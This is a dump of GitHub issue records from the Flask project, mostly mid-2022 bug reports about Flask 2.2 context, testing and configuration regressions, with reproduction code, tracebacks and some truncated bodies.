2. This means the app context must remain in place for the entire test, and a request context is created when needed (say using `test_client.get`). However, in this case, request context teardown will not cause app context teardown and `g` will contain stale data in the next request.

3. I tried using `request_ctx` instead. The problem is `request.copy()` does not copy any additional data in `request_ctx`, so a function decorated with `@copy_current_request_context` will need a replacement decorator to copy additional data. Chaining decorators won't work as the new context created in this decorator is not accessible from another decorator. There is no fix for use of this decorator in other ext... [TRUNCATED]",,2022-08-18T07:15:48Z,2022-08-18T13:18:54Z,5
pallets/flask,1342042962,Flask 2.2.2 crashes with pytest-asyncio 0.19.0,"Flask 2.2 crashes with a `LookupError` on async test cases when using `pytest-asyncio`:

```shell
pip install flask pytest pytest-asyncio
```

```python
import pytest
from flask import Flask

app = Flask(__name__)


@pytest.fixture
def client():
    with app.test_client() as client:
        yield client


# note this test is async
async def test_foo(client):
    assert client.get(""/"").status_code == 404
```
```
$ pytest repro.py
========================================= test session starts ==========================================
platform linux -- Python 3.10.5, pytest-7.1.2, pluggy-1.0.0
rootdir: /mnt/c/Users/user/git/mitmproxy, configfile: setup.cfg
plugins: asyncio-0.19.0
asyncio: mode=auto
collected 1 item

repro.py .E

================================================ ERRORS ================================================
____________________________________ ERROR at teardown of test_foo _____________________________________

self = <RequestContext 'http://localhost/' [GET] of repro>
exc = LookupError(<ContextVar name='flask.app_ctx' at 0x7f7e5a5599e0>)

    def pop(self, exc: t.Optional[BaseException] = _sentinel) -> None:  # type: ignore
        """"""Pops the request context and unbinds it by doing that.  This will
        also trigger the execution of functions registered by the
        :meth:`~flask.Flask.teardown_request` decorator.

        .. versionchanged:: 0.9
           Added the `exc` argument.
        """"""
     ... [TRUNCATED]",,2022-08-17T16:54:56Z,2022-08-17T16:59:12Z,2
pallets/flask,1341992063,waitress command doesn't work,The `waitress-serve` command in the documentation doesn't work due to options (`--host`) needing to come before specifying the app(`main:app`),docs,2022-08-17T16:07:29Z,2022-08-17T16:25:06Z,0
pallets/flask,1341632403,Flask flashing behaviour different in production compared with using flask development server,"Flask delivers different results depending on whether deployed in production or in development, specifically around flashing messages.

This code fails to show the ""something went wrong"" flash in development but the same code shows the message in production. 

```python
@main_blueprint.route('/view/<items_id>', methods=['GET', 'POST'])
def view_items(items_id):
    item = Items.query.filter_by(id=items_id).first()
    if item:
        flash('Item List Ok')
        return render_template('main/item.html', item=item)
    else:
        flash('Something went wrong')
        return redirect(url_for('main.all_items'))
```

Code used:
https://github.com/hiven/FlaskApp

Environment:

Latest Flask version 2.2, python version 3.8
",,2022-08-17T11:39:27Z,2022-08-17T11:41:19Z,0
pallets/flask,1338533369,Erroneous code example in streaming documentation,"The last line of this code in the streaming basic usage documentation is not valid:

```python
@app.route('/large.csv')
def generate_large_csv():
    def generate():
        for row in iter_all_rows():
            yield f""{','.join(row)}\n""
    return generate(), {""Content-Type"": ""text/csv"")
```

I'm opening a PR to revert it to its previous version from 2 months ago.",,2022-08-15T04:43:08Z,2022-08-15T04:52:13Z,0
pallets/flask,1337325283,Flask 2.2.x doesn't allow to load multiple app at the same time.,"### How to reproduce

```python
app1 = Flask(name)
app2 = Flask(name)

with app1.test_client() as app1_client, app2.test_client() as app2_client:
    login_resp = app1_client.post(
        ""/login"",
        data={
            ""email"": email,
            ""password"": password,
        },)

    app2_client.cookie_jar = app1_client.cookie_jar

    res = app2_client.get(""/v1/me"")
    assert res.status_code == 200
```

Running this code raises a `LookupError: <ContextVar name='flask.request_ctx' at 0x7faa98896de0>`

```
../venv/lib/python3.10/site-packages/flask/ctx.py:399: in pop
    self.app.do_teardown_request(exc)
../venv/lib/python3.10/site-packages/flask/app.py:2370: in do_teardown_request
    for name in chain(request.blueprints, (None,)):
../venv/lib/python3.10/site-packages/werkzeug/local.py:316: in __get__
    obj = instance._get_current_object()  # type: ignore[misc]
../venv/lib/python3.10/site-packages/werkzeug/local.py:509: in _get_current_object
    raise RuntimeError(unbound_message) from None
E   RuntimeError: Working outside of request context.
E   
E   This typically means that you attempted to use functionality that needed
E   an active HTTP request. Consult the documentation on testing for
E   information about how to avoid this problem.

During handling of the above exception, another exception occurred:
.... in test_login:
    with app1.test_client() as app1_client, app2.test_client() as app2_client:
./venv/lib/python3.1... [TRUNCATED]",,2022-08-12T15:06:24Z,2022-08-15T15:40:48Z,1
pallets/flask,1332662664,"""removed"" misspelled in deprecation warning","See: https://github.com/pallets/flask/blob/5775d1e9b1a031c7bc3bf1463acb3289594ab3e4/src/flask/globals.py#L91

and one more instance a bit below that one.",,2022-08-09T03:37:43Z,2022-08-09T14:04:15Z,0
pallets/flask,1332170556,TypeError: send_file() got an unexpected keyword argument 'attachment_filename',"Old code start throwing this exception:
`TypeError: send_file() got an unexpected keyword argument 'attachment_filename'`",,2022-08-08T17:25:10Z,2022-08-08T17:30:22Z,1
pallets/flask,1330704824,Support mounting apps other than '/' for Debug mode with Werkzeug development server (or add workaround in docs),"Mounting apps on a path other than root ('/'), e.g. '/test' is apparently not supported by the Flask Debug Mode (using Werkzeug), nor does it appear to be documented explicitly. A bit of searching led me to:

- Blog from 2020:  https://dlukes.github.io/flask-wsgi-url-prefix.html
- Issue from 2018: https://github.com/pallets/flask/issues/2759 (Solution with DispatcherMiddleware: https://github.com/pallets/flask/issues/2759#issuecomment-386887290)

I'd like to request that a short section be added in e.g.

- https://flask.palletsprojects.com/en/2.2.x/quickstart/#a-minimal-application
- https://flask.palletsprojects.com/en/2.2.x/quickstart/#debug-mode
- https://flask.palletsprojects.com/en/2.2.x/cli/#run-the-development-server

that would point out this ""limitation"" (along the lines of ""Flask Debug Mode / Werkzeug do not support mount points, since the  WSGI variable `SCRIPT_NAME` is not supported"") and maybe show an example using DispatcherMiddleware.

Also, maybe a CLI option like ""--mount"" for `flask` is feasible?

The other option is running the app script directly (not via `flask run`), which is what I am currently using:

```
if __name__ == ""__main__"":
    # from https://dlukes.github.io/flask-wsgi-url-prefix.html
    from werkzeug.middleware.dispatcher import DispatcherMiddleware
    from werkzeug.wrappers import Response
    app.wsgi_app = DispatcherMiddleware(
        Response('Not Found', status=404),
        {'/test': app.wsgi_app}
    )

  ... [TRUNCATED]",,2022-08-06T09:38:26Z,2022-08-06T13:00:50Z,1
pallets/flask,1330608815,No backward compatible way to access flask.globals.request_ctx,"Accessing `flask._request_ctx_stack` in Flask `2.2+` results in a `DeprecationWarning` recommending
`flask.globals.request_ctx`. However, this is not available in previous versions. For extensions that support < 2.2 this means that the usage can't be simply upgraded.

I went with a conditional based on the import like [this](https://github.com/alisaifee/flask-limiter/blob/master/flask_limiter/_compat.py) - but wondering if there is a better way? (I realize this isn't exactly a bug, but it didn't quite fit the criteria of a general usage question either).


Environment:

- Python version: 3.10
- Flask version: 2.2.1
",,2022-08-06T01:59:13Z,2022-08-06T02:02:13Z,1
pallets/flask,1328696820,Wrong default value for FLASK_ENV,"Previously, if `FLASK_ENV` was not set, it would default to `""production""`, now it defaults to `""development""`.

Reproduction:

```python
from flask import Flask

app = Flask(__name__)

@app.route(""/"")
def hello_world():
    print(f""{app.config.get('ENV')=}"")
    return ""<p>Hello, World!</p>""
```

Run using gunicorn, `gunicorn flask_demo.app:app` with `FLASK_ENV` unset,

Flask 2.2.1, this handler prints:
`app.config.get('ENV')='development'`

downgrade to 2.1.0:
`app.config.get('ENV')='production'`

I assume this due to  #4720, `src/flask/app.py:693`

Environment:

- Python version: 3.10.4
- Flask version: 2.2.1",,2022-08-04T14:08:55Z,2022-08-04T14:29:14Z,1
pallets/flask,1328537495,Tests failing on latest Flask version 2.2.1,"Hi All,
I am working on a Flask project and suddenly my unit tests start failing on the latest flask version `2.2.1`
Got following error while running [tox](https://pypi.org/project/tox/) command 

> /usr/lib/python3.8/doctest.py:939: in find
    self._find(tests, obj, name, module, source_lines, globs, {})
.tox/tests/lib/python3.8/site-packages/_pytest/doctest.py:533: in _find
    super()._find(  # type:ignore[misc]
/usr/lib/python3.8/doctest.py:998: in _find
    if ((inspect.isroutine(inspect.unwrap(val))
.tox/tests/lib/python3.8/site-packages/_pytest/doctest.py:475: in _mock_aware_unwrap
    return real_unwrap(func, stop=_is_mocked)
/usr/lib/python3.8/inspect.py:520: in unwrap
    while _is_wrapper(func):
/usr/lib/python3.8/inspect.py:514: in _is_wrapper
    return hasattr(f, '__wrapped__') and not stop(f)
.tox/tests/lib/python3.8/site-packages/werkzeug/local.py:316: in __get__
    obj = instance._get_current_object()  # type: ignore[misc]
.tox/tests/lib/python3.8/site-packages/werkzeug/local.py:509: in _get_current_object
    raise RuntimeError(unbound_message) from None
E   RuntimeError: Working outside of request context.
E   
E   This typically means that you attempted to use functionality that needed
E   an active HTTP request. Consult the documentation on testing for
E   information about how to avoid this problem.

When I changed my flask version back to `2.1.3` it started working again. 
",,2022-08-04T12:20:50Z,2022-08-04T13:08:42Z,3
pallets/flask,1328443926,Compatibility problems with freezegun,"Flask 2.2.* session expiry time handling has a difficult relationship with Freezegun + Pendulum + MySQL SQLAlchemy.  Yeah I know the combination looks pretty strange,  but they seem to have really difficult relation when they are all together :).

I know it's not a Flask isssue, but looking at how popular freezegun (and pendulum) are, this might be somethng you want to consider reverting, especialy that it should have no negative side effects.

You can see more details and discussion in https://github.com/apache/airflow/pull/25511#issuecomment-1204297524 but in short Flask 2.2 release started to break our tests in our ""canary"" tests in Airflow - and after deeper investigation it turned out (besides new deprecation warnings that are fine) that the session expiry handling does not work with certain combinations of FreezeGun and Pendulum datetime (and MySQL SQLAlchemy).

This boiled down to this change:

Flask 2.1.2:
```
    def get_expiration_time(
        self, app: ""Flask"", session: SessionMixin
    ) -> t.Optional[datetime]:
        if session.permanent:
            return datetime.utcnow() + app.permanent_session_lifetime
        return None
```

Flask 2.2.0:

```
    def get_expiration_time(
        self, app: ""Flask"", session: SessionMixin
    ) -> t.Optional[datetime]:
        if session.permanent:
            return datetime.now(timezone.utc) + app.permanent_session_lifetime
        return None
```

While looking as reasonable change, the pr... [TRUNCATED]",,2022-08-04T10:54:57Z,2022-08-04T13:06:22Z,5
pallets/flask,1327923194,Not clear that Flask.run is threaded by default.,"
Flask.run sets threaded=True as the default when calling werkzeug.serving.run_simple. This wasn't mentioned in the function docstring, which only refers me on to werkzeug.serving.run_simple, where the default is threaded=False. So it surprised me when my non-thread-safe code behaved weirdly.

- Python version: 3.8.10
- Flask version: 2.2.1
",docs,2022-08-04T00:32:24Z,2022-08-04T00:37:57Z,1
pallets/flask,1327410999,Version 2.2.0 crashes when using app.test_client() as a context-manager in multi-threaded tests,"The following code defines a simple app, and queries it from a test that uses threads:

```py
import threading

from flask import Flask
import pytest


def create_app():
    app = Flask(__name__)

    @app.route(""/hi"", methods=[""POST""])
    def hello():
        return ""Hello, World!""

    return app


@pytest.fixture()
def app():
    app = create_app()
    yield app


@pytest.fixture()
def client(app):
    with app.test_client() as client:
        yield client


def test_request_example(client):
    successes = 0

    def f():
        nonlocal successes
        response = client.post(""/hi"")
        assert ""Hello, World!"" == response.text
        successes += 1

    thread = threading.Thread(target=f)
    thread.start()
    thread.join()

    f()

    assert successes == 2
```

When running with pytest on Flask 2.1.3, this test passes:

```
========================================================================= test session starts ==========================================================================
platform linux -- Python 3.9.2, pytest-7.1.2, pluggy-0.13.0
rootdir: /home/dev/swh-environment/swh-indexer, configfile: pytest.ini
plugins: asyncio-0.18.3, requests-mock-1.9.3, django-4.5.2, xdist-2.5.0, swh.core-2.13, mock-3.8.2, django-test-migrations-1.2.0, flask-1.2.0, redis-2.4.0, hypothesis-6.49.1, cov-3.0.0, subtesthack-0.1.2, forked-1.3.0, postgresql-3.1.3, swh.journal-0.8.1.dev3+gf92d4ac
asyncio: mode=strict
c... [TRUNCATED]",,2022-08-03T15:30:10Z,2022-08-03T15:40:45Z,1
pallets/flask,1327268050,Incorrect PR reference for JSON-related changes in flask 2.2.0 release note,"All JSON-related changes in [CHANGES.rst](https://github.com/pallets/flask/blob/main/CHANGES.rst) point to a seemingly random issue #4688. I guess these changes should point to some other PR(s), possibly #4692



Environment:

- Python version: N/A
- Flask version: 2.2.0
",docs,2022-08-03T14:00:11Z,2022-08-03T17:02:30Z,1
pallets/flask,1327226619,Flask 2.2.0 not compatible with flask-mongoengine 1.0.0,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.

-->

**Describe how to replicate the bug.**

```
self.db = MongoEngine(app)
  File ""/Users/rahulm/PycharmProjects/Management-OLO/venv/lib/python3.9/site-packages/flask_mongoengine/__init__.py"", line 102, in __init__
    self.init_app(app, config)
  File ""/Users/rahulm/PycharmProjects/Management-OLO/venv/lib/python3.9/site-packages/flask_mongoengine/__init__.py"", line 113, in init_app
    override_json_encoder(app)
  File ""/Users/rahulm/PycharmProjects/Management-OLO/venv/lib/python3.9/site-packages/flask_mongoengine/json.py"", line 38, in override_json_encoder
    app.json_encoder = _make_encoder(app.json_encoder)
  File ""/Users/rahulm/PycharmProjects/Management-OLO/venv/lib/python3.9/site-packages/flask_mongoengine/json.py"", line 8, in _make_encoder
    class MongoEngineJSONEncoder(superclass):
TypeError: NoneType takes no arguments
```

**Describe the expected behavior that should have happened but didn't.**

Should not throw any error while running flask
Environment: MAC M1

- Python version:3.9
- Flask version:2.2.0
",,2022-08-03T13:32:33Z,2022-08-03T17:02:25Z,2
pallets/flask,1327173134,request causes doctest to fail,"
<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Congrats on the release of Flask 2.2.0🎉

I noticed some weird behavior.

## Environment:

- Python version: 3.8.6
- Flask version: 2.2.0
- nose 1.3.7

## Procedure:

1. Create the following file as `example.py`

```python
from flask import request


def awesome_function():
    return ""spam""
```

2. Run `nosetests` with doctests

```
$ nosetests --with-doctest -v
```

## AS IS: `nosetests` fail

```
Failure: RuntimeError (Working outside of request context.

This typically means that you attempted to use functionality that needed
an active HTTP request. Consult the documentation on testing for
information about how to avoid this problem.) ... ERROR

======================================================================
ERROR: Failure: RuntimeError (Working outside of request context.

This typically means that you attempted to use functionality that needed
an active HTTP request. Consult the documentation on testing for
information about how to avoid this problem.)... [TRUNCATED]",,2022-08-03T12:51:30Z,2022-08-03T12:55:31Z,1
pallets/flask,1326644970,Flask does not propagate exceptions to external debugger,"External debuggers like VSCode can't catch exceptions because the Werkzeug server runs with `passthrough_errors` set to `False` even though `PROPAGATE_EXCEPTIONS` config in Flask is set to `True`.

This issue has been previously reported #1674 and solved #1679, and later it was reverted #2006 to fix another issue. It seems like it was a temporary revert, but has not been revisited since.",,2022-08-03T03:59:34Z,2022-08-03T13:40:52Z,6
pallets/flask,1325854662,`Flask test` does not work (tables not created) after 2.2.0 update,"With Flask 2.1.0 :

```bash
$ flask test
=========================================================================== test session starts ============================================================================
platform darwin -- Python 3.10.3, pytest-7.1.2, pluggy-1.0.0 -- /Users/antoine/Documents/Git/portail/venv/bin/python3
cachedir: .pytest_cache
rootdir: /Users/antoine/Documents/Git/portail
collected 29 items                                                                           
...
===================================================================== 29 passed, 5 warnings in 15.65s ======================================================================
```

With Flask 2.2.0 :

```bash
=========================================================================== test session starts ============================================================================
platform darwin -- Python 3.10.3, pytest-7.1.2, pluggy-1.0.0 -- /Users/antoine/Documents/Git/portail/venv/bin/python3
cachedir: .pytest_cache
rootdir: /Users/antoine/Documents/Git/portail
collected 29 items                                                                                                                                                         

test/test_accessibility.py::TestAccessibility::test_admin_accessibility ERROR
test/test_accessibility.py::TestAccessibility::test_client_accessibility ERROR
...
========================================================================= ... [TRUNCATED]",,2022-08-02T13:24:08Z,2022-08-02T13:30:56Z,1
pallets/flask,1325659517,Flask test does not work after 2.2.0 update (with sqlalchemy dependency),"With Flask 2.1.0 :

```bash
$ flask test
=========================================================================== test session starts ============================================================================
platform darwin -- Python 3.10.3, pytest-7.1.2, pluggy-1.0.0 -- /Users/antoine/Documents/Git/portail/venv/bin/python3
cachedir: .pytest_cache
rootdir: /Users/antoine/Documents/Git/portail
collected 29 items                                                                           
...
===================================================================== 29 passed, 5 warnings in 15.65s ======================================================================
```

With Flask 2.2.0 :

```bash
=========================================================================== test session starts ============================================================================
platform darwin -- Python 3.10.3, pytest-7.1.2, pluggy-1.0.0 -- /Users/antoine/Documents/Git/portail/venv/bin/python3
cachedir: .pytest_cache
rootdir: /Users/antoine/Documents/Git/portail
collected 29 items                                                                                                                                                         

test/test_accessibility.py::TestAccessibility::test_admin_accessibility ERROR
test/test_accessibility.py::TestAccessibility::test_client_accessibility ERROR
...
========================================================================= ... [TRUNCATED]",,2022-08-02T10:43:07Z,2022-08-02T12:44:44Z,3
pallets/flask,1325483926,cannot import name 'request_ctx' from 'flask.globals',"Environment:

- Python version: 3.9.2
- Flask version: 2.2.0

Updating from Flask 2.1.2 to 2.2. (without changes my sources, I got this error:

    File ""../venv/lib/python3.9/site-packages/werkzeug/utils.py"", line 109, in __get__
    value = self.fget(obj)  # type: ignore
    File ""../venv/lib/python3.9/site-packages/werkzeug/wrappers/request.py"", line 428, in form
    self._load_form_data()
    File ""../venv/lib/python3.9/site-packages/flask/wrappers.py"", line 122, in _load_form_data
    from .debughelpers import attach_enctype_error_multidict
    File ""../venv/lib/python3.9/site-packages/flask/debughelpers.py"", line 5, in <module>
    from .globals import request_ctx
    ImportError: cannot import name 'request_ctx' from 'flask.globals' (../venv/lib/python3.9/site-packages/flask/globals.py)
",,2022-08-02T08:34:10Z,2022-08-02T13:05:50Z,1
pallets/flask,1323253992,deprecate most config attributes,"The `Flask` app object has some ""config attributes"", properties that are shortcuts to getting/setting certain `app.config` keys. There doesn't seem to be much consistency to which keys are exposed as attributes, and most of them don't seem useful as attributes.

* `debug`, `testing`, and `secret_key` These should stay for now, they are shortcuts for common enough situations.
* `session_cookie_name` It's not clear why this is an attribute. None of the other session cookie options are exposed as attributes, and it seems much more common to want to change those.
* `permanent_session_lifetime` I think this is an attribute only so that it doesn't have to be converted from int to timedelta in two places. However, just like the name, this doesn't seem like something that belongs as an attribute more than the other options.
* `send_file_max_age_default` Again this does a conversion from int to timedelta. But it's only used in one place, `get_send_file_max_age`.
* `use_x_sendfile` This only works when behind a correctly configured Apache server, not any other server setup. It's not clear why this should be an attribute, it's a very niche case.
* `env` This is going away with #4714 
* `propagate_exceptions` is only used in `handle_exception`, and is a very internal behavior. This property can't be set, but it does have some logic to fall back to `testing` or `debug`. 
* `templates_auto_reload` I added this as part of making setting debug reset the property on the Jinja env. Ho... [TRUNCATED]",,2022-07-30T18:15:19Z,2022-08-02T00:04:13Z,1
pallets/flask,1323224539,remove ability to toggle lazy/eager loading,"When the CLI was first introduced, it would always lazily load the application, and then resolve that lazy import the first time the app was needed. For the `run` command, in debug mode, that would be _after_ the server started, so that errors would show up in the debugger and the reloader would work across errors. This meant that errors wouldn't show up immediately when running the command, which was confusing. The `--eager-loading/--lazy-loading` option controlled whether that was disabled/enabled regardless of debug mode.

Later, this behavior was changed so that the app is always eagerly loaded the first time, and only lazily loaded on reloads. This makes errors show up consistently when running any command, including `run`, while still allowing the reloader to work across errors.

There shouldn't be a reason now to control loading. Errors will always be shown immediately in the terminal when a command is run. Lazy loading should always be used within the reloader to handle errors.",cli,2022-07-30T17:13:39Z,2022-08-01T17:44:32Z,0
pallets/flask,1323121988,deprecate `FLASK_ENV`,"Nothing in Flask ever ended up using `FLASK_ENV`/`app.env` specifically. It adds a layer of complexity to the already confusing ways that `app.debug` and `app.testing` can affect what happens internally. It's already possible to control debug mode, the debugger, and the reloader individually, there's no need for this extra switch.

Feedback from users on the Discord channel, and observation of questions on Stack Overflow, suggests this env var is a source of confusion or at least extra work. 

`FLASK_ENV=development` is very verbose, and that isn't changing with the introduction of the `--env development` option. It's much shorter to use the `--debug` flag.

The original idea behind `FLASK_ENV` was that it would be used like `NODE_ENV`. Nothing ever came of it though. `NODE_ENV` as it's used with any frontend framework is a build-time flag, it has more meaning when it actually affects how JavaScript gets compiled, which is not something that maps to Python/Flask very well.

https://github.com/pallets/werkzeug/issues/2480 will make the ""don't use the dev server in production"" warning always shown, instead of only in certain situations. With this there will be no current difference between `FLASK_ENV=development` and `FLASK_DEBUG=1`. It is also generally redundant given that the dev server should never be run in production, and `FLASK_ENV` is probably only given when running the dev server.
",,2022-07-30T14:22:47Z,2022-08-01T22:19:17Z,5
pallets/flask,1316587539,Fix Versions in setup.py with == not >=,"Hi since the last release from Werkzeug, installing requirements from flask breaks the env/dockercontainer. 
It seems like Werkzeug has moved some files.
Werkzeug's 2.2.0 Update: flask_login/utils.py line 14 - ImportError: cannot import name 'parse_rule' from 'werkzeug.routing'

This is already the 2nd time this year, an update in Werkzeug is breaking flask. 

We would really apprciate if you could use == in setup.py and not only in the requirements for tox to make using flask more stable and convient. Current it is up to us to pin Werkzeug to 2.1.2 before the modules has been moved. 

The setup requirments of Flask 2.1.3, the current release, are currently wrong as this version requires Werkzeug <2.2.0 but Werkzeug>=2.0.0.

This would clearly increase the user experience as the user does not need to pin the version until a new flask version is released dealing with the change in Werkzeug.

Pip install flask or flask==2.1.3 should ne enough to reproduce the bug.

Expected behaviour, pip install flask should work without manually having pined the requirements of flask

Environment:

- Python version: 3.8 
- Flask version: 2.1.3
",,2022-07-25T10:15:55Z,2022-07-25T10:39:10Z,1
pallets/flask,1316011592,Werkzeug's 2.2.0 Update: flask_login/utils.py line 14 - ImportError: cannot import name 'parse_rule' from 'werkzeug.routing',"Werkzeug released a minor update on July 23rd. It seems this update deprecated something that flask login relies on. We've pinned back Werkzeug as a temporary fix.


```
    from flask_login import LoginManager, login_required, UserMixin, login_user, logout_user, current_user, login_fresh, confirm_login
  File ""/usr/local/lib/python3.8/site-packages/flask_login/__init__.py"", line 12, in <module>
    from .login_manager import LoginManager
  File ""/usr/local/lib/python3.8/site-packages/flask_login/login_manager.py"", line 35, in <module>
    from .utils import _create_identifier
  File ""/usr/local/lib/python3.8/site-packages/flask_login/utils.py"", line 14, in <module>
    from werkzeug.routing import parse_rule
ImportError: cannot import name 'parse_rule' from 'werkzeug.routing' (/usr/local/lib/python3.8/site-packages/werkzeug/routing/__init__.py)
```


Environment:

- Python version: 3.8
- Flask version: 2.1.3
",,2022-07-24T21:19:28Z,2022-07-24T21:23:45Z,2
pallets/flask,1315874116,Error: No such option: --app,"**When I was running the tutorial in the example folder accoding to the instructions, it report the following errors.** 
```
$ flask --app flaskr init-db
Usage: flask [OPTIONS] COMMAND [ARGS]...
Try 'flask --help' for help.

Error: No such option: --app
```

**How to replicate the bug.**
```
git clone https://github.com/pallets/flask.git
cp flask/example .
cd example/tutorial
python3 -m venv .
. ./bin/activate
pip3 install -e .
flask --app flaskr init-db
```


**Environment:**

```
$python3 --version
Python 3.10.4

$pip list
Package      Version Editable project location
------------ ------- ---------------------------------------
click        8.1.3
Flask        2.1.3
flaskr       1.0.0   /home/zo/webFramework/examples/tutorial
itsdangerous 2.1.2
Jinja2       3.1.2
MarkupSafe   2.1.1
pip          22.0.2
setuptools   59.6.0
Werkzeug     2.2.0
```",,2022-07-24T10:56:51Z,2022-07-24T11:02:55Z,1
pallets/flask,1313074586,url_for: Allow overriding default values,"<!--
Replace this comment with a description of what the feature should do.
Include details such as links to relevant specs or previous discussions.
-->

Sometimes defining a route the default path values can be set for the user convenience.
In the same time several usage example can be needed to show on a ""help"" page.
The most popular way to generate a URL is `url_for`.
However, it seems that it is impossible to generate the URL with the path arguments having the default value.

Firstly, I have asked a [question](https://stackoverflow.com/q/73028511/8854890) about it on StackOverflow. But no other way to override has been introduced.

<!--
Replace this comment with an example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
as by subclassing or using an extension?
-->

(It is a simplified example that reproduce the problem.)

I have `@app.route(""/api/<a>/<b>"", defaults={""a"": ""A0"", ""b"": ""B0""})`

I want to generate the following URL: `/api/A0/B1` (in other word, with the overridden argument `b`).

The most obvious to me approach: `flask.url_for(route.endpoint, **{""b"": ""B1""})`.
It causes `werkzeug.routing.BuildError: Could not build url for endpoint 'SOME_ENDPOINT' with values ['b']. Did you forget to specify values ['a']?`

The next approach: `flask.url_for(route.endpoint, **{""a"": ""A0"", ""b"": ""B1""})`.
It causes `werkzeug.routing.BuildError: Could not build url for endpoint 'index.API.event_avera... [TRUNCATED]",,2022-07-21T10:59:21Z,2022-07-21T13:53:11Z,0
pallets/flask,1312555680,"Possible to make jinjia2 support django,java,php and golang","<!--
Replace this comment with a description of what the feature should do.
Include details such as links to relevant specs or previous discussions.
-->

<!--
Replace this comment with an example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
as by subclassing or using an extension?
-->
",,2022-07-21T04:29:28Z,2022-07-21T05:00:00Z,0
pallets/flask,1303347747,Misleading documentation: styleguide,"Not sure if this is the best place to post, but I couldn't find a better one:

The [Pocoo Styleguide](https://flask.palletsprojects.com/en/1.1.x/styleguide/) currently has a banner stating this:

<img width=""1159"" alt=""image"" src=""https://user-images.githubusercontent.com/3042488/178730200-177bb96d-b84d-40b7-b3c4-8cf50330eadc.png"">

For a newcomer, this makes it sound like the styleguide is outdated. Then:

- Clicking the ""Version 2.0.x."" link (`https://flask.palletsprojects.com/en/2.0.x/styleguide/`) leads to a 404;
- ...as does the version widget in the bottom right corner.

My understanding is that v1.1. is the latest version of the style guide anyway.

Expected:

- Either serve the styleguide on the 2.x branch;
*or*
- Remove the warning.

Environment:

- Web documentation",,2022-07-13T12:12:31Z,2022-07-13T12:20:33Z,1
pallets/flask,1292095076,No GitHub issues,"**Description:**
Nearly every popular OSS project has issues ranging in the hundreds to thousands. Currently, `Flask` has **_zero issues across all environments_** I've used to investigate, clearly indicating an issue.

Please fix this by creating issues.

**Replicate:**
Navigate to [the project's issues tab](https://github.com/pallets/flask/issues).

**Expect:**
- A list of issues (currently empty)

Environment:
Google Chrome, Brave, Internet Explorer, Safari, Netscape, cURL, `requests`...

- Python version: EVERY
- Flask version: EVERY
",,2022-07-02T16:53:30Z,2022-07-02T17:02:20Z,0
pallets/flask,1291924512, UserWarning: The name 'vnc_bp' is already registered for this blueprint. Use 'name=' to provide a unique name. This will become an error in Flask 2.1.,"I have added a print statement inside `flask.blueprints.register` and I only see one printout for my ""vnc_bp""... yet I still get this error. I've had to retain an older version that still just warns, rather than raises.",,2022-07-02T00:48:51Z,2022-07-02T00:53:34Z,2
pallets/flask,1290109929,Dataclasses as responses,"
In an effort improve the typing of all my API endpoints, I was looking at methods to better describe the response. I find dataclasses to be amazing for quickly describing data structures. However when returning for a route only more loosely defined types are allowed.  So I have a patch ready where dataclasses are allowed in make_response. so they can be directly returned from the view endpoint. 

So instead of for example the following:

```python
@app.route('/data/endpoint/')
def api_endpoint() -> dict:
    return {""data"": 1, ""message"": ""hello""}
```

We can more formally define the type of return data: 

```python
@dataclass
class EndpointResponse():
    data: int #: comment on the value
    message: str #: another comment to be shown in documentation
    
@app.route('/data/endpoint/')
def api_endpoint() -> EndpointResponse:
    return EndpointResponse(data=1, message=""hello"")
```
This would allow any documentation to directly show all fields in the json response. 

",,2022-06-30T13:04:32Z,2022-06-30T13:20:41Z,4
pallets/flask,1289530849,When will Flask support native ASGI?,"I don't want to refactor the code to Quart, but rather have the freedom to choose WSGI or ASGI when using Flask. Thank you for your reply!",,2022-06-30T03:29:09Z,2022-06-30T03:50:04Z,6
pallets/flask,1288107551,Flask return a list directly,"```python
from flask import Flask

app = Flask(__name__)


@app.route('/')
def index():
    return [1, 2, 3]


if __name__ == '__main__':
    app.run()
```

It will raise **TypeError: The view function did not return a valid response. The return type must be a string, dict, tuple, Response instance, or WSGI callable, but it was a list.**

Then I have to do like this.

```python
from flask import Flask, jsonify

app = Flask(__name__)


@app.route('/')
def index():
    return jsonify([1, 2, 3])


if __name__ == '__main__':
    app.run()
```

And I found that a dict can be jsonify automatically in [app.py#L1924](https://github.com/pallets/flask/blob/main/src/flask/app.py#L1924)

So why does flask can't jsonify a list like a dict ?",json,2022-06-29T02:54:04Z,2022-06-29T02:56:07Z,5
pallets/flask,1287531638,Two Flask server spawned using multiprocessing not working as expected.,"**Issue Outline**
I tried to spawn two Flask processes using `multiprocessing` library as mentioned below.
The response from the server is fluctuating/crossing between the two server's '/' route.
More information on:  https://stackoverflow.com/questions/72758633/two-flask-processes-spawned-using-multiprocessing-are-not-working-properly

**Reproducer Code:**
```
# ======================= server 1 ======================

from flask import Flask
app1 = Flask(""App1"")

@app1.route('/')
def index1():
    return ""Hello This is app 1""

class FlaskApp1:
    def start(self):
        global app1
        app1.run(host=""0.0.0.0"", port=6000, debug=True)

# ======================= server 2 ======================

app2 = Flask(""App2"")

@app2.route('/')
def index2():
    return ""Hello This is app 2""

class FlaskApp2:
    def start(self):
        global app2
        app2.run(host=""0.0.0.0"", port=7000, debug=True)

# ======================= MAIN ======================
from multiprocessing import Process

if __name__ == ""__main__"":
    p1 = Process(target=FlaskApp1().start, args=())
    p2 = Process(target=FlaskApp2().start, args=())

    p1.start()
    p2.start()

    p1.join()
    p2.join()
```

**Output:**
The response is fluctuating between the '/' route of two servers
```
======== From Server 1 ==========
#  curl localhost:6000
Hello This is app 1
#  curl localhost:6000
Hello This is app 2
#  curl localhost:6000
Hello This is app 1
#... [TRUNCATED]",,2022-06-28T15:32:51Z,2022-06-28T15:36:19Z,3
pallets/flask,1285198634,How to troubleshoot the Jinja2 template loader while using Flask?,"Hi,

I am encountering a rather strange issue when working with Flask, Flask_Assets, werkzeung, Jinja2. 

The project uses a lot of Jinja2 templates. There's a base template base.html which most child template extends from.

The child templates usually looks like this... 
{% extends ""empty.html"" if request.is_xhr else ""base.html"" %}
